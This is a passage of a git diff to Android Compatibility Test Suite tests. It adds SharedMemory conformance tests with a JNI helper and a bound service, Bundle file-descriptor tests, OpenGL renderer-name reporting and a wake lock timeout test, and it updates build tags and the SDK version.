index 1d79961..9dd078e 100644
--- a/tests/tests/openglperf/src/android/openglperf/cts/PlanetsRenderer.java
+++ b/tests/tests/openglperf/src/android/openglperf/cts/PlanetsRenderer.java
@@ -88,6 +88,7 @@
     private int mTexCoord0Handle;
     private int mTextureHandle;
     private int mTextureId;
+    private String mRendererName;
 
     /**
      * @param numSlices
@@ -142,6 +143,7 @@
         mPositionHandle = GLES20.glGetAttribLocation(mProgram, "vPosition");
         mTexCoord0Handle = GLES20.glGetAttribLocation(mProgram, "vTexCoord0");
         mTextureHandle = GLES20.glGetUniformLocation(mProgram, "sTexture");
+        mRendererName = GLES20.glGetString(GLES20.GL_RENDERER);
 
         // Load the texture
         mTextureId = createTexture2D();
@@ -245,7 +247,7 @@
             Log.i(TAG, "Final FPS " + fps + " Num triangles " + numTriangles + " start time " +
                     mRenderingStartTime + " finish time " + currentTime);
             if (mListener != null) {
-                mListener.onRenderCompletion(fps, numTriangles, mFrameInterval);
+                mListener.onRenderCompletion(fps, numTriangles, mFrameInterval, mRendererName);
                 mFrameCount++; // to prevent entering here again
                 return;
             }
@@ -438,7 +440,7 @@
     private void printGlInfos() {
         Log.i(TAG, "Vendor " + GLES20.glGetString(GLES20.GL_VENDOR));
         Log.i(TAG, "Version " + GLES20.glGetString(GLES20.GL_VERSION));
-        Log.i(TAG, "Renderer " + GLES20.glGetString(GLES20.GL_RENDERER));
+        Log.i(TAG, "Renderer " + mRendererName);
         Log.i(TAG, "Extensions " + GLES20.glGetString(GLES20.GL_EXTENSIONS));
     }
     private void printParams() {
diff --git a/tests/tests/openglperf/src/android/openglperf/cts/RenderCompletionListener.java b/tests/tests/openglperf/src/android/openglperf/cts/RenderCompletionListener.java
index a5bbfa2..bb63d66 100644
--- a/tests/tests/openglperf/src/android/openglperf/cts/RenderCompletionListener.java
+++ b/tests/tests/openglperf/src/android/openglperf/cts/RenderCompletionListener.java
@@ -25,6 +25,7 @@
      * @param numTriangles Number of triangles in geometric model
      * @param frameInterval interval for each frame in ms. Do not use the first one and the last one.
      */
-    void onRenderCompletion(float averageFps, int numTriangles, int[] frameInterval);
+    void onRenderCompletion(float averageFps, int numTriangles, int[] frameInterval,
+            String rendererName);
 
 }
diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
index fa492b9..c5146de 100644
--- a/tests/tests/os/Android.mk
+++ b/tests/tests/os/Android.mk
@@ -40,12 +40,13 @@
     src/android/os/cts/IEmptyService.aidl \
     src/android/os/cts/ISeccompIsolatedService.aidl \
     src/android/os/cts/ISecondary.aidl \
+    src/android/os/cts/ISharedMemoryService.aidl \
     src/android/os/cts/IParcelExceptionService.aidl \
 
 LOCAL_PACKAGE_NAME := CtsOsTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # uncomment when b/13282254 is fixed
 #LOCAL_SDK_VERSION := current
@@ -67,7 +68,7 @@
 LOCAL_MODULE_TAGS := optional
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 cts_platform_version_path := cts/tests/tests/os/assets/platform_versions.txt
 cts_platform_version_string := $(shell cat $(cts_platform_version_path))
diff --git a/tests/tests/os/AndroidManifest.xml b/tests/tests/os/AndroidManifest.xml
index 835022c..9738812 100644
--- a/tests/tests/os/AndroidManifest.xml
+++ b/tests/tests/os/AndroidManifest.xml
@@ -77,6 +77,10 @@
             android:process=":green"
             android:exported="true" />
         <service
+            android:name="android.os.cts.SharedMemoryService"
+            android:process=":sharedmem"
+            android:exported="false" />
+        <service
             android:name="android.os.cts.ParcelExceptionService"
             android:process=":remote"
             android:exported="true" />
diff --git a/tests/tests/os/assets/platform_versions.txt b/tests/tests/os/assets/platform_versions.txt
index ae9a76b..8104cab 100644
--- a/tests/tests/os/assets/platform_versions.txt
+++ b/tests/tests/os/assets/platform_versions.txt
@@ -1 +1 @@
-8.0.0
+8.1.0
diff --git a/tests/tests/os/jni/Android.mk b/tests/tests/os/jni/Android.mk
index d7da7e1..ec4a3fa 100644
--- a/tests/tests/os/jni/Android.mk
+++ b/tests/tests/os/jni/Android.mk
@@ -29,11 +29,12 @@
 		android_os_cts_OSFeatures.cpp \
 		android_os_cts_NoExecutePermissionTest.cpp \
 		android_os_cts_SeccompTest.cpp \
+		android_os_cts_SharedMemory.cpp \
 		android_os_cts_SPMITest.cpp
 
 LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
 
-LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog libdl
+LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog libdl libandroid
 LOCAL_CXX_STL := none
 
 LOCAL_STATIC_LIBRARIES := libc++_static libminijail
@@ -56,6 +57,7 @@
 	LOCAL_CFLAGS += -DARCH_SUPPORTS_SECCOMP
 endif
 
+LOCAL_CFLAGS := -Wno-unused-parameter
 LOCAL_CPPFLAGS_arm := -mcpu=generic
 
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/os/jni/CtsOsJniOnLoad.cpp b/tests/tests/os/jni/CtsOsJniOnLoad.cpp
index 731c5dc..154f075 100644
--- a/tests/tests/os/jni/CtsOsJniOnLoad.cpp
+++ b/tests/tests/os/jni/CtsOsJniOnLoad.cpp
@@ -31,6 +31,8 @@
 
 extern int register_android_os_cts_SeccompTest(JNIEnv*);
 
+extern int register_android_os_cts_SharedMemoryTest(JNIEnv*);
+
 extern int register_android_os_cts_SPMITest(JNIEnv *);
 
 jint JNI_OnLoad(JavaVM *vm, void *reserved) {
@@ -64,6 +66,10 @@
         return JNI_ERR;
     }
 
+    if (register_android_os_cts_SharedMemoryTest(env)) {
+        return JNI_ERR;
+    }
+
    if (register_android_os_cts_SPMITest(env)) {
        return JNI_ERR;
    }
diff --git a/tests/tests/os/jni/android_os_cts_SharedMemory.cpp b/tests/tests/os/jni/android_os_cts_SharedMemory.cpp
new file mode 100644
index 0000000..16ff385
--- /dev/null
+++ b/tests/tests/os/jni/android_os_cts_SharedMemory.cpp
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+#include <jni.h>
+
+#include <android/sharedmem_jni.h>
+
+#include <sys/mman.h>
+#include <unistd.h>
+
+jboolean nWriteByte(JNIEnv* env, jobject, jobject jSharedMemory, jint index, jbyte value) {
+    int fd = ASharedMemory_dupFromJava(env, jSharedMemory);
+    if (fd == -1) return false;
+    void* addr = mmap(nullptr, 1, PROT_READ | PROT_WRITE, MAP_SHARED, fd, index);
+    if (addr == nullptr) {
+        close(fd);
+        return false;
+    }
+    reinterpret_cast<int8_t*>(addr)[0] = value;
+    munmap(addr, 1);
+    close(fd);
+    return true;
+}
+
+static JNINativeMethod gMethods[] = {
+    {  "nWriteByte", "(Landroid/os/SharedMemory;IB)Z", (void *) nWriteByte },
+};
+
+int register_android_os_cts_SharedMemoryTest(JNIEnv* env)
+{
+    jclass clazz = env->FindClass("android/os/cts/SharedMemoryTest");
+
+    return env->RegisterNatives(clazz, gMethods,
+            sizeof(gMethods) / sizeof(JNINativeMethod));
+}
diff --git a/tests/tests/os/src/android/os/cts/BuildVersionTest.java b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
index 44dc487..eec3f16 100644
--- a/tests/tests/os/src/android/os/cts/BuildVersionTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
@@ -35,7 +35,7 @@
 public class BuildVersionTest extends TestCase {
 
     private static final String LOG_TAG = "BuildVersionTest";
-    private static final int EXPECTED_SDK = 26;
+    private static final int EXPECTED_SDK = 27;
     private static final String EXPECTED_BUILD_VARIANT = "user";
     private static final String EXPECTED_TAG = "release-keys";
     private static final String PLATFORM_VERSIONS_FILE = "platform_versions.txt";
diff --git a/tests/tests/os/src/android/os/cts/BundleTest.java b/tests/tests/os/src/android/os/cts/BundleTest.java
index 36326b3..58d6e37 100644
--- a/tests/tests/os/src/android/os/cts/BundleTest.java
+++ b/tests/tests/os/src/android/os/cts/BundleTest.java
@@ -17,6 +17,8 @@
 package android.os.cts;
 
 
+import static org.junit.Assert.assertTrue;
+
 import android.content.Intent;
 import android.os.Bundle;
 import android.os.Parcel;
@@ -29,6 +31,7 @@
 import android.util.SparseArray;
 
 import java.io.File;
+import java.io.FileDescriptor;
 import java.io.FileNotFoundException;
 import java.util.ArrayList;
 import java.util.Arrays;
@@ -855,9 +858,116 @@
         }
     }
 
+    public void testHasFileDescriptor() throws Exception {
+        final ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();
+        try {
+            final ParcelFileDescriptor fd = pipe[0];
+
+            assertNotHaveFd(Bundle.EMPTY);
+            assertNotHaveFd(new Bundle());
+
+            assertNotHaveFd(buildBundle("a", 1));
+
+            assertHasFd(buildBundle("a", 1, fd));
+            assertHasFd(buildBundle("a", 1, new Parcelable[]{fd}));
+            assertHasFd(buildBundle("a", 1, buildBundle(new Parcelable[]{fd})));
+            assertNotHaveFd(buildBundle("a", 1, buildBundle(1)));
+
+            Bundle nested1 = buildBundle(fd, buildBundle(1));
+            assertHasFd(nested1); // Outer bundle has an FD.
+            assertNotHaveFd(nested1.getParcelable("key-1")); // But inner bundle doesn't.
+
+            Bundle nested2 = buildBundle(1, buildBundle(fd));
+            assertHasFd(nested2);
+            assertHasFd(nested2.getParcelable("key-1"));
+
+            // More tricky case.  Create a parcel with mixed objects.
+            Parcel p = Parcel.obtain();
+            p.writeParcelable(fd, 0);
+            p.writeInt(123);
+            p.writeParcelable(buildBundle(1), 0);
+
+            // Now the parcel has an FD.
+            p.setDataPosition(0);
+            assertTrue(p.hasFileDescriptors());
+
+            // Note even though the entire parcel has an FD, the inner bundle doesn't.
+            assertEquals(ParcelFileDescriptor.class,
+                    p.readParcelable(getClass().getClassLoader()).getClass());
+            assertEquals(123, p.readInt());
+            assertNotHaveFd(p.readParcelable(Bundle.class.getClassLoader()));
+        } finally {
+            pipe[0].close();
+            pipe[1].close();
+        }
+    }
+
+    /** Create a Bundle with values, with autogenerated keys. */
+    private static Bundle buildBundle(Object... values) {
+        final Bundle result = new Bundle();
+
+        for (int i = 0; i < values.length; i++) {
+            final String key = "key-" + i;
+
+            final Object value = values[i];
+            if (value == null) {
+                result.putString(key, null);
+
+            } else if (value instanceof String) {
+                result.putString(key, (String) value);
+
+            } else if (value instanceof Integer) {
+                result.putInt(key, (Integer) value);
+
+            } else if (value instanceof Parcelable) {
+                result.putParcelable(key, (Parcelable) value);
+
+            } else if (value instanceof Parcelable[]) {
+                result.putParcelableArray(key, (Parcelable[]) value);
+
+            } else {
+                fail("Unsupported value type: " + value.getClass());
+            }
+        }
+        return result;
+    }
+
+    private static Bundle cloneBundle(Bundle b) {
+        return new Bundle(b);
+    }
+
+    private static Bundle cloneBundleViaParcel(Bundle b) {
+        final Parcel p = Parcel.obtain();
+        try {
+            p.writeParcelable(b, 0);
+
+            p.setDataPosition(0);
+
+            return p.readParcelable(Bundle.class.getClassLoader());
+        } finally {
+            p.recycle();
+        }
+    }
+
+    private static void assertHasFd(Bundle b) {
+        assertTrue(b.hasFileDescriptors());
+
+        // Make sure cloned ones have the same result.
+        assertTrue(cloneBundle(b).hasFileDescriptors());
+        assertTrue(cloneBundleViaParcel(b).hasFileDescriptors());
+    }
+
+    private static void assertNotHaveFd(Bundle b) {
+        assertFalse(b.hasFileDescriptors());
+
+        // Make sure cloned ones have the same result.
+        assertFalse(cloneBundle(b).hasFileDescriptors());
+        assertFalse(cloneBundleViaParcel(b).hasFileDescriptors());
+    }
+
     class MockClassLoader extends ClassLoader {
         MockClassLoader() {
             super();
         }
     }
-}
+}
\ No newline at end of file
diff --git a/tests/tests/os/src/android/os/cts/ISharedMemoryService.aidl b/tests/tests/os/src/android/os/cts/ISharedMemoryService.aidl
new file mode 100644
index 0000000..651c62a
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/ISharedMemoryService.aidl
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import android.os.SharedMemory;
+
+interface ISharedMemoryService {
+    void setup(in SharedMemory memory, int prot);
+    byte read(int index);
+    void write(int index, byte value);
+}
diff --git a/tests/tests/os/src/android/os/cts/MemoryFileTest.java b/tests/tests/os/src/android/os/cts/MemoryFileTest.java
index def73b2..6e6eba8 100644
--- a/tests/tests/os/src/android/os/cts/MemoryFileTest.java
+++ b/tests/tests/os/src/android/os/cts/MemoryFileTest.java
@@ -56,7 +56,7 @@
             byte[] data = new byte[512];
             mMemoryFile.writeBytes(data, srcOffset, destOffset, count);
             fail("MemoryFile should throw IndexOutOfBoundsException here.");
-        } catch (IndexOutOfBoundsException e) {
+        } catch (IndexOutOfBoundsException | IllegalArgumentException e) {
             // expected
         }
     }
@@ -101,13 +101,10 @@
         mMemoryFile = new MemoryFile("Test File", 512);
         assertEquals(512, mMemoryFile.length());
 
-        mMemoryFile = new MemoryFile("Test File", 0);
-        assertEquals(0, mMemoryFile.length());
-
         try {
             mMemoryFile = new MemoryFile("Test File", -512);
             fail();
-        } catch (IOException expected) {
+        } catch (IOException | IllegalArgumentException expected) {
         }
     }
 
@@ -142,7 +139,7 @@
             byte[] data = new byte[512];
             mMemoryFile.readBytes(data, srcOffset, destOffset, count);
             fail("MemoryFile should throw IndexOutOfBoundsException here.");
-        } catch (IndexOutOfBoundsException e) {
+        } catch (IndexOutOfBoundsException | IllegalArgumentException e) {
             // expected
         }
     }
diff --git a/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java b/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
index 7c5b655..4679a99 100644
--- a/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
@@ -117,8 +117,6 @@
         assertFileDescriptorContent(data, ParcelFileDescriptor.fromData(data, null));
         data = new byte[] { 0, 1, 2, 3 };
         assertFileDescriptorContent(data, ParcelFileDescriptor.fromData(data, null));
-        data = new byte[0];
-        assertFileDescriptorContent(data, ParcelFileDescriptor.fromData(data, null));
 
         // Check that modifying the data does not modify the data in the FD
         data = new byte[] { 0, 1, 2, 3 };
diff --git a/tests/tests/os/src/android/os/cts/PowerManager_WakeLockTest.java b/tests/tests/os/src/android/os/cts/PowerManager_WakeLockTest.java
index a643fc6..639493a 100644
--- a/tests/tests/os/src/android/os/cts/PowerManager_WakeLockTest.java
+++ b/tests/tests/os/src/android/os/cts/PowerManager_WakeLockTest.java
@@ -19,6 +19,7 @@
 import android.content.Context;
 import android.os.PowerManager;
 import android.os.PowerManager.WakeLock;
+import android.os.SystemClock;
 import android.test.AndroidTestCase;
 
 public class PowerManager_WakeLockTest extends AndroidTestCase {
@@ -66,4 +67,14 @@
         Thread.sleep(PowerManagerTest.TIME + PowerManagerTest.MORE_TIME);
         assertFalse(wl.isHeld());
     }
+
+    public void testWakeLockTimeout() throws Exception {
+        final PowerManager pm = getContext().getSystemService(PowerManager.class);
+
+        final WakeLock lock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, TAG);
+        lock.acquire(2000);
+        SystemClock.sleep(4000);
+
+        lock.release();
+    }
 }
diff --git a/tests/tests/os/src/android/os/cts/SharedMemoryService.java b/tests/tests/os/src/android/os/cts/SharedMemoryService.java
new file mode 100644
index 0000000..fcc38d5
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/SharedMemoryService.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.os.SharedMemory;
+import android.system.ErrnoException;
+
+import java.nio.ByteBuffer;
+
+public class SharedMemoryService extends Service {
+    @Override
+    public IBinder onBind(Intent intent) {
+        return new SharedMemoryServiceImpl();
+    }
+
+    private static class SharedMemoryServiceImpl extends ISharedMemoryService.Stub {
+        private SharedMemory mSharedMemory;
+        private ByteBuffer mMappedBuffer;
+
+        @Override
+        public void setup(SharedMemory memory, int prot) throws RemoteException {
+            mSharedMemory = memory;
+            try {
+                mMappedBuffer = mSharedMemory.map(prot, 0, mSharedMemory.getSize());
+            } catch (ErrnoException ex) {
+                throw new RuntimeException(ex);
+            }
+        }
+
+        @Override
+        public byte read(int index) throws RemoteException {
+            // Although we expect only one client we need to insert memory barriers to ensure
+            // visibility
+            synchronized (mMappedBuffer) {
+                return mMappedBuffer.get(index);
+            }
+        }
+
+        @Override
+        public void write(int index, byte value) throws RemoteException {
+            // Although we expect only one client we need to insert memory barriers to ensure
+            // visibility
+            synchronized (mMappedBuffer) {
+                mMappedBuffer.put(index, value);
+            }
+        }
+    }
+}
diff --git a/tests/tests/os/src/android/os/cts/SharedMemoryTest.java b/tests/tests/os/src/android/os/cts/SharedMemoryTest.java
new file mode 100644
index 0000000..f21b095
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/SharedMemoryTest.java
@@ -0,0 +1,264 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import static android.support.test.InstrumentationRegistry.getContext;
+import static android.system.OsConstants.PROT_READ;
+import static android.system.OsConstants.PROT_WRITE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.os.SharedMemory;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.system.ErrnoException;
+import android.system.OsConstants;
+
+import com.google.common.util.concurrent.AbstractFuture;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.nio.ByteBuffer;
+import java.nio.ReadOnlyBufferException;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class SharedMemoryTest {
+
+    static {
+        System.loadLibrary("ctsos_jni");
+    }
+
+    private Instrumentation mInstrumentation;
+    private Intent mRemoteIntent;
+    private PeerConnection mRemoteConnection;
+    private ISharedMemoryService mRemote;
+
+    public static class PeerConnection extends AbstractFuture<ISharedMemoryService>
+            implements ServiceConnection {
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+            set(ISharedMemoryService.Stub.asInterface(service));
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+        }
+
+        @Override
+        public ISharedMemoryService get() throws InterruptedException, ExecutionException {
+            try {
+                return get(5, TimeUnit.SECONDS);
+            } catch (TimeoutException e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        final Context context = mInstrumentation.getContext();
+        // Bring up both remote processes and wire them to each other
+        mRemoteIntent = new Intent();
+        mRemoteIntent.setComponent(new ComponentName(
+                "android.os.cts", "android.os.cts.SharedMemoryService"));
+        mRemoteConnection = new PeerConnection();
+        getContext().bindService(mRemoteIntent, mRemoteConnection,
+                Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT);
+        mRemote = mRemoteConnection.get();
+    }
+
+    @After
+    public void tearDown() {
+        final Context context = mInstrumentation.getContext();
+        context.unbindService(mRemoteConnection);
+    }
+
+    @Test
+    public void testReadWrite() throws RemoteException, ErrnoException {
+        try (SharedMemory sharedMemory = SharedMemory.create(null, 1)) {
+            ByteBuffer buffer = sharedMemory.mapReadWrite();
+            mRemote.setup(sharedMemory, PROT_READ | PROT_WRITE);
+
+            byte expected = 5;
+            buffer.put(0, expected);
+            assertEquals(expected, buffer.get(0));
+            // Memory barrier
+            synchronized (sharedMemory) {}
+            assertEquals(expected, mRemote.read(0));
+            expected = 10;
+            mRemote.write(0, expected);
+            // Memory barrier
+            synchronized (sharedMemory) {}
+            assertEquals(expected, buffer.get(0));
+            SharedMemory.unmap(buffer);
+        }
+    }
+
+    @Test
+    public void testReadOnly() throws RemoteException, ErrnoException {
+        try (SharedMemory sharedMemory = SharedMemory.create(null, 1)) {
+            ByteBuffer buffer = sharedMemory.mapReadWrite();
+            sharedMemory.setProtect(PROT_READ);
+            mRemote.setup(sharedMemory, PROT_READ);
+
+            byte expected = 15;
+            buffer.put(0, expected);
+            assertEquals(expected, buffer.get(0));
+            // Memory barrier
+            synchronized (sharedMemory) {}
+            assertEquals(expected, mRemote.read(0));
+            expected = 20;
+            try {
+                mRemote.write(0, expected);
+                fail("write shouldn't have worked, should be read only");
+            } catch (Exception e) {}
+
+            buffer.put(0, expected);
+            assertEquals(expected, buffer.get(0));
+            // Memory barrier
+            synchronized (sharedMemory) {}
+            assertEquals(expected, mRemote.read(0));
+        }
+    }
+
+    @Test
+    public void testUseAfterClose() throws RemoteException, ErrnoException {
+        ByteBuffer buffer;
+        try (SharedMemory sharedMemory = SharedMemory.create(null, 1)) {
+            buffer = sharedMemory.mapReadWrite();
+            mRemote.setup(sharedMemory, PROT_READ | PROT_WRITE);
+        }
+        byte expected = 5;
+        buffer.put(0, expected);
+        assertEquals(expected, buffer.get(0));
+        // Memory barrier
+        synchronized (buffer) {}
+        assertEquals(expected, mRemote.read(0));
+        expected = 10;
+        mRemote.write(0, expected);
+        // Memory barrier
+        synchronized (buffer) {}
+        assertEquals(expected, buffer.get(0));
+        SharedMemory.unmap(buffer);
+    }
+
+    @Test
+    public void testUseAfterUnmap() throws RemoteException, ErrnoException {
+        SharedMemory sharedMemory = SharedMemory.create(null, 1);
+        ByteBuffer buffer = sharedMemory.mapReadWrite();
+        byte expected = 5;
+        buffer.put(0, expected);
+        assertEquals(expected, buffer.get(0));
+        SharedMemory.unmap(buffer);
+        boolean failed = false;
+        try {
+            buffer.get(0);
+            failed = true;
+        } catch (Throwable t) { }
+        assertFalse(failed);
+    }
+
+    private static native boolean nWriteByte(SharedMemory memory, int index, byte value);
+
+    @Test
+    public void testNdkInterop() throws ErrnoException {
+        SharedMemory sharedMemory = SharedMemory.create("hello", 1024);
+        ByteBuffer buffer = sharedMemory.mapReadWrite();
+        assertEquals(0, buffer.get(0));
+        assertTrue(nWriteByte(sharedMemory, 0, (byte) 1));
+        assertEquals(1, buffer.get(0));
+        sharedMemory.close();
+        buffer.put(0, (byte) 5);
+        assertFalse(nWriteByte(sharedMemory, 0, (byte) 2));
+        assertEquals(5, buffer.get(0));
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testInvalidCreate() throws ErrnoException {
+        SharedMemory.create(null, -1);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testInvalidMapProt() throws ErrnoException {
+        try (SharedMemory sharedMemory = SharedMemory.create(null, 1)) {
+            sharedMemory.map(-1, 0, 1);
+        }
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testInvalidSetProt() throws ErrnoException {
+        try (SharedMemory sharedMemory = SharedMemory.create(null, 1)) {
+            sharedMemory.setProtect(-1);
+        }
+    }
+
+    @Test
+    public void testSetProtAddProt() throws ErrnoException {
+        try (SharedMemory sharedMemory = SharedMemory.create(null, 1)) {
+            assertTrue(sharedMemory.setProtect(OsConstants.PROT_READ));
+            assertTrue(sharedMemory.setProtect(OsConstants.PROT_READ));
+            assertFalse(sharedMemory.setProtect(OsConstants.PROT_READ | OsConstants.PROT_WRITE));
+            assertTrue(sharedMemory.setProtect(OsConstants.PROT_NONE));
+            assertFalse(sharedMemory.setProtect(OsConstants.PROT_READ));
+        }
+    }
+
+    @Test(expected=IllegalStateException.class)
+    public void testMapAfterClose() throws ErrnoException {
+        SharedMemory sharedMemory = SharedMemory.create(null, 1);
+        sharedMemory.close();
+        sharedMemory.mapReadWrite();
+    }
+
+    @Test(expected=ReadOnlyBufferException.class)
+    public void testWriteToReadOnly() throws ErrnoException {
+        try (SharedMemory sharedMemory = SharedMemory.create(null, 1)) {
+            sharedMemory.setProtect(PROT_READ);
+            ByteBuffer buffer = null;
+            try {
+                buffer = sharedMemory.mapReadWrite();
+                fail("Should have thrown an exception");
+            } catch (ErrnoException ex) {
+                assertEquals(OsConstants.EPERM, ex.errno);
+            }
+            buffer = sharedMemory.mapReadOnly();
+            assertTrue(buffer.isReadOnly());
+            buffer.put(0, (byte) 0);
+        }
+    }
+}
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/Android.mk b/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
index 95a607d..0e24292 100755
--- a/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
+++ b/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
@@ -35,6 +35,6 @@
 LOCAL_SDK_VERSION := test_current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/packageinstaller/emptytestapp/Android.mk b/tests/tests/packageinstaller/emptytestapp/Android.mk
index b1171f1..d098318 100644
--- a/tests/tests/packageinstaller/emptytestapp/Android.mk
+++ b/tests/tests/packageinstaller/emptytestapp/Android.mk
@@ -25,6 +25,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/packageinstaller/externalsources/Android.mk b/tests/tests/packageinstaller/externalsources/Android.mk
index ca2fbda..d6477388 100755
--- a/tests/tests/packageinstaller/externalsources/Android.mk
+++ b/tests/tests/packageinstaller/externalsources/Android.mk
@@ -22,8 +22,6 @@
 
 LOCAL_PACKAGE_NAME := CtsExternalSourcesTestCases
 
-LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/res
-
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := ub-uiautomator android-support-test android-support-v4
@@ -31,7 +29,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/tests/packageinstaller/externalsources/AndroidManifest.xml b/tests/tests/packageinstaller/externalsources/AndroidManifest.xml
index 33d1d6e..8bcdd04 100755
--- a/tests/tests/packageinstaller/externalsources/AndroidManifest.xml
+++ b/tests/tests/packageinstaller/externalsources/AndroidManifest.xml
@@ -21,13 +21,6 @@
 
     <application android:label="Cts External Sources Test">
         <uses-library android:name="android.test.runner"/>
-        <provider android:authorities="android.packageinstaller.externalsources.cts.fileprovider"
-                  android:name="android.support.v4.content.FileProvider"
-                  android:grantUriPermissions="true">
-            <meta-data
-                android:name="android.support.FILE_PROVIDER_PATHS"
-                android:resource="@xml/file_paths" />
-        </provider>
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/packageinstaller/externalsources/AndroidTest.xml b/tests/tests/packageinstaller/externalsources/AndroidTest.xml
index 39d2d67..2d782d8 100644
--- a/tests/tests/packageinstaller/externalsources/AndroidTest.xml
+++ b/tests/tests/packageinstaller/externalsources/AndroidTest.xml
@@ -17,16 +17,6 @@
 <configuration description="Config for CTS External Sources test cases">
     <option name="config-descriptor:metadata" key="component" value="framework" />
 
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
